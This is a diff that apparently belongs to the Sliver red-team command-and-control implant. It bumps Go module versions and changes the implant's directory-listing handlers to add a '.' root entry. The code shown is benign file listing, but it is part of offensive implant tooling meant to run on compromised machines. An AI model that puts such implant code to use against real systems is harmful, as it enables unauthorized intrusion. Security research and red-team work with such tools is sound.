modernc.org/ccgo/v4 v4.17.10/go.mod h1:0NBHgsqTTpm9cA5z2ccErvGZmtntSM9qD2kFAs6pjXM=
|
||||
modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
|
||||
modernc.org/fileutil v1.3.0/go.mod h1:XatxS8fZi3pS8/hKG2GH/ArUogfxjpEKs3Ku3aK4JyQ=
|
||||
modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
|
||||
modernc.org/gc/v2 v2.4.1/go.mod h1:wzN5dK1AzVGoH6XOzc3YZ+ey/jPgYHLuVckd62P0GYU=
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=
|
||||
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=
|
||||
modernc.org/libc v1.52.1 h1:uau0VoiT5hnR+SpoWekCKbLqm7v6dhRL3hI+NQhgN3M=
|
||||
modernc.org/libc v1.52.1/go.mod h1:HR4nVzFDSDizP620zcMCgjb1/8xk2lg5p/8yjfGv1IQ=
|
||||
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
|
||||
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
|
||||
modernc.org/memory v1.7.2 h1:Klh90S215mmH8c9gO98QxQFsY+W451E8AnzjoE2ee1E=
|
||||
modernc.org/memory v1.7.2/go.mod h1:NO4NVCQy0N7ln+T9ngWqOQfi7ley4vpwvARR+Hjw95E=
|
||||
modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
|
||||
modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.27.0 h1:MpKAHoyYB7xqcwnUwkuD+npwEa0fojF0B5QRbN+auJ8=
|
||||
modernc.org/sqlite v1.27.0/go.mod h1:Qxpazz0zH8Z1xCFyi5GSL3FzbtZ3fvbjmywNogldEW0=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
|
||||
modernc.org/tcl v1.15.2/go.mod h1:3+k/ZaEbKrC8ePv8zJWPtBSW0V7Gg9g8rkmhI1Kfs3c=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
|
||||
modernc.org/z v1.7.3/go.mod h1:Ipv4tsdxZRbQyLq9Q1M6gdbkxYzdlrciF2Hi/lS7nWE=
|
||||
nhooyr.io/websocket v1.8.7 h1:usjR2uOr/zjjkVMy0lW+PPohFok7PCow5sDjLgX4P4g=
|
||||
nhooyr.io/websocket v1.8.7/go.mod h1:B70DZP8IakI65RVQ51MsWP/8jndNma26DVA/nFSCgW0=
|
||||
software.sslmate.com/src/go-pkcs12 v0.2.1 h1:tbT1jjaeFOF230tzOIRJ6U5S1jNqpsSyNjzDd58H3J8=
|
||||
software.sslmate.com/src/go-pkcs12 v0.2.1/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
|
||||
tailscale.com v1.54.0 h1:Dri5BTKkHYpl+/t8ofY+tyvoTDbH/FpP7iB4B0cAQOY=
|
||||
tailscale.com v1.54.0/go.mod h1:MnLFoCRwzFWr3qtkSW2nZdQpK7wQRZEk1KtcEGAuZYw=
|
||||
modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
|
||||
modernc.org/sortutil v1.2.0/go.mod h1:TKU2s7kJMf1AE84OoiGppNHJwvB753OYfNl2WRb++Ss=
|
||||
modernc.org/sqlite v1.30.1 h1:YFhPVfu2iIgUf9kuA1CR7iiHdcEEsI2i+yjRYHscyxk=
|
||||
modernc.org/sqlite v1.30.1/go.mod h1:DUmsiWQDaAvU4abhc/N+djlom/L2o8f7gZ95RCvyoLU=
|
||||
modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
|
||||
modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
|
||||
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
|
||||
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
mvdan.cc/sh/v3 v3.7.0 h1:lSTjdP/1xsddtaKfGg7Myu7DnlHItd3/M2tomOcNNBg=
|
||||
mvdan.cc/sh/v3 v3.7.0/go.mod h1:K2gwkaesF/D7av7Kxl0HbF5kGOd2ArupNTX3X44+8l8=
|
||||
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
|
||||
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
|
||||
software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB8aEykJ5k=
|
||||
software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
|
||||
tailscale.com v1.66.4 h1:V0vTQah3xi2/zbsxJeOfl5QbO1WJPeD9TMlfL0daXqc=
|
||||
tailscale.com v1.66.4/go.mod h1:99BIV4U3UPw36Sva04xK2ZsEpVRUkY9jCdEDSAhaNGM=
|
||||
+10
-10
@@ -6,22 +6,22 @@ toolchain go1.21.4
|
||||
|
||||
require (
|
||||
filippo.io/age v1.1.1
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/gofrs/uuid v4.0.0+incompatible
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/tetratelabs/wazero v1.2.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
|
||||
github.com/stretchr/testify v1.8.4
|
||||
github.com/tetratelabs/wazero v1.7.1
|
||||
github.com/things-go/go-socks5 v0.0.4
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.13.0
|
||||
golang.org/x/net v0.15.0
|
||||
golang.org/x/sys v0.14.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
|
||||
google.golang.org/protobuf v1.31.0
|
||||
golang.org/x/sys v0.19.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
|
||||
google.golang.org/protobuf v1.32.0
|
||||
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
|
||||
)
|
||||
|
||||
@@ -38,9 +38,9 @@ require (
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
golang.org/x/mod v0.13.0 // indirect
|
||||
golang.org/x/mod v0.14.0 // indirect
|
||||
golang.org/x/text v0.14.0 // indirect
|
||||
golang.org/x/time v0.3.0 // indirect
|
||||
golang.org/x/time v0.5.0 // indirect
|
||||
golang.org/x/tools v0.13.0 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
|
||||
+20
-24
@@ -2,8 +2,8 @@ filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg=
|
||||
filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
|
||||
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
|
||||
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc h1:7D+Bh06CRPCJO3gr2F7h1sriovOZ8BMhca2Rg85c2nk=
|
||||
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
|
||||
github.com/Microsoft/go-winio v0.6.0 h1:slsWYD/zyx7lCXoZVlvQrj0hPTM1HI4+v1sIda2yDvg=
|
||||
@@ -21,10 +21,8 @@ github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u7
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
|
||||
github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
|
||||
github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
|
||||
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
@@ -39,8 +37,8 @@ github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
|
||||
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
|
||||
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
|
||||
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
@@ -48,12 +46,13 @@ github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/tetratelabs/wazero v1.2.0 h1:I/8LMf4YkCZ3r2XaL9whhA0VMyAvF6QE+O7rco0DCeQ=
|
||||
github.com/tetratelabs/wazero v1.2.0/go.mod h1:wYx2gNRg8/WihJfSDxA1TIL8H+GkfLYm+bIfbblu9VQ=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
|
||||
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
|
||||
github.com/tetratelabs/wazero v1.7.1 h1:QtSfd6KLc41DIMpDYlJdoMc6k7QTN246DM2+n2Y/Dx8=
|
||||
github.com/tetratelabs/wazero v1.7.1/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y=
|
||||
github.com/things-go/go-socks5 v0.0.4 h1:jMQjIc+qhD4z9cITOMnBiwo9dDmpGuXmBlkRFrl/qD0=
|
||||
github.com/things-go/go-socks5 v0.0.4/go.mod h1:sh4K6WHrmHZpjxLTCHyYtXYH8OUuD+yZun41NomR1IQ=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
@@ -63,12 +62,11 @@ golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPh
|
||||
golang.org/x/crypto v0.13.0 h1:mvySKfSWJ+UKUii46M40LOvyWfN0s2U+46/jDd0e6Ck=
|
||||
golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=
|
||||
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
golang.org/x/mod v0.13.0 h1:I/DsJXRlw/8l/0c24sM9yb0T4z9liZTduXvdAWYiysY=
|
||||
golang.org/x/mod v0.13.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/mod v0.14.0 h1:dGoOF9QVLYng8IHTm7BAyWqCqSheQ5pYWGhzW00YJr0=
|
||||
golang.org/x/mod v0.14.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
||||
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
|
||||
golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8=
|
||||
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
|
||||
@@ -88,8 +86,8 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
|
||||
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.14.0 h1:Vz7Qs629MkJkGyHxUlRHizWJRG2j8fbQKjELVSNhy7Q=
|
||||
golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/term v0.12.0 h1:/ZfYdc3zq+q02Rv9vGqTeSItdzZTSNDmfTi0mBAuidU=
|
||||
golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
|
||||
@@ -99,8 +97,8 @@ golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=
|
||||
golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
||||
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
|
||||
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
||||
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
|
||||
@@ -108,15 +106,13 @@ golang.org/x/tools v0.13.0 h1:Iey4qkscZuv0VvIt8E0neZjtPVQFSc870HQ448QgEmQ=
|
||||
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
|
||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 h1:B82qJJgjvYKsXS9jeunTOisW56dUokqW/FOteYJJ/yg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2/go.mod h1:deeaetjYA+DHMHg+sMSMI58GrEteJUUzzw7en6TJQcI=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb h1:c5tyN8sSp8jSDxdCCDXVOpJwYXXhmTkNMt+g0zTSOic=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
|
||||
google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8=
|
||||
google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173 h1:/jFs0duh4rdb8uIfPMv78iAJGcPKDeqAFnaLBropIC4=
|
||||
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173/go.mod h1:tkCQ4FQXmpAgYVh++1cq16/dH4QJtmvpRv19DWGAHSA=
|
||||
google.golang.org/protobuf v1.32.0 h1:pPC6BG5ex8PDFnkbrGU3EixyhKcQ2aDuBS36lqK/C7I=
|
||||
google.golang.org/protobuf v1.32.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
|
||||
@@ -155,7 +155,7 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
path, filter := determineDirPathFilter(targetPath)
|
||||
|
||||
dir, files, err := getDirList(path)
|
||||
dir, rootDirEntry, files, err := getDirList(path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
timezone, offset := time.Now().Zone()
|
||||
@@ -166,6 +166,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
dirList.Exists = false
|
||||
}
|
||||
dirList.Files = []*sliverpb.FileInfo{}
|
||||
rootDirInfo, err := rootDirEntry.Info()
|
||||
if err == nil && filter == "" {
|
||||
// We should not get an error because we created the DirEntry object from the FileInfo object
|
||||
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
|
||||
Name: ".", // Cannot use the name from the FileInfo / DirEntry because that is the name of the directory
|
||||
Size: rootDirInfo.Size(),
|
||||
ModTime: rootDirInfo.ModTime().Unix(),
|
||||
Mode: rootDirInfo.Mode().String(),
|
||||
Uid: getUid(rootDirInfo),
|
||||
Gid: getGid(rootDirInfo),
|
||||
IsDir: rootDirInfo.IsDir(),
|
||||
})
|
||||
}
|
||||
|
||||
var match bool = false
|
||||
var linkPath string = ""
|
||||
@@ -226,19 +239,30 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getDirList(target string) (string, []fs.DirEntry, error) {
|
||||
func getDirList(target string) (string, fs.DirEntry, []fs.DirEntry, error) {
|
||||
dir, err := filepath.Abs(target)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("dir list failed to construct path %s", err)
|
||||
// {{end}}
|
||||
return "", nil, err
|
||||
return "", nil, nil, err
|
||||
}
|
||||
if _, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
if rootInfo, err := os.Stat(dir); !os.IsNotExist(err) {
|
||||
/*
|
||||
We could place the entry for the directory itself
|
||||
at the beginning of the returned slice of DirEntry
|
||||
objects, but then it is not clear if that is the
|
||||
root directory or a directory / file in the root
|
||||
directory with the same name as the root directory.
|
||||
|
||||
Using WalkDir is not great here because you cannot
|
||||
tell it to not be recursive, so we will be wasting
|
||||
cycles telling it to skip directories and files
|
||||
*/
|
||||
files, err := os.ReadDir(dir)
|
||||
return dir, files, err
|
||||
return dir, fs.FileInfoToDirEntry(rootInfo), files, err
|
||||
}
|
||||
return dir, []fs.DirEntry{}, errors.New("directory does not exist")
|
||||
return dir, nil, []fs.DirEntry{}, errors.New("directory does not exist")
|
||||
}
|
||||
|
||||
func rmHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
@@ -31,8 +31,8 @@ import (
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/mount"
|
||||
"github.com/bishopfox/sliver/implant/sliver/procdump"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -190,7 +190,7 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
|
||||
|
||||
pid := os.Getpid()
|
||||
path := fmt.Sprintf("/proc/%d/fd/", pid)
|
||||
dir, files, err := getDirList(path)
|
||||
dir, rootDirEntry, files, err := getDirList(path)
|
||||
|
||||
// Convert directory listing to protobuf
|
||||
timezone, offset := time.Now().Zone()
|
||||
@@ -201,6 +201,19 @@ func memfilesListHandler(_ []byte, resp RPCResponse) {
|
||||
dirList.Exists = false
|
||||
}
|
||||
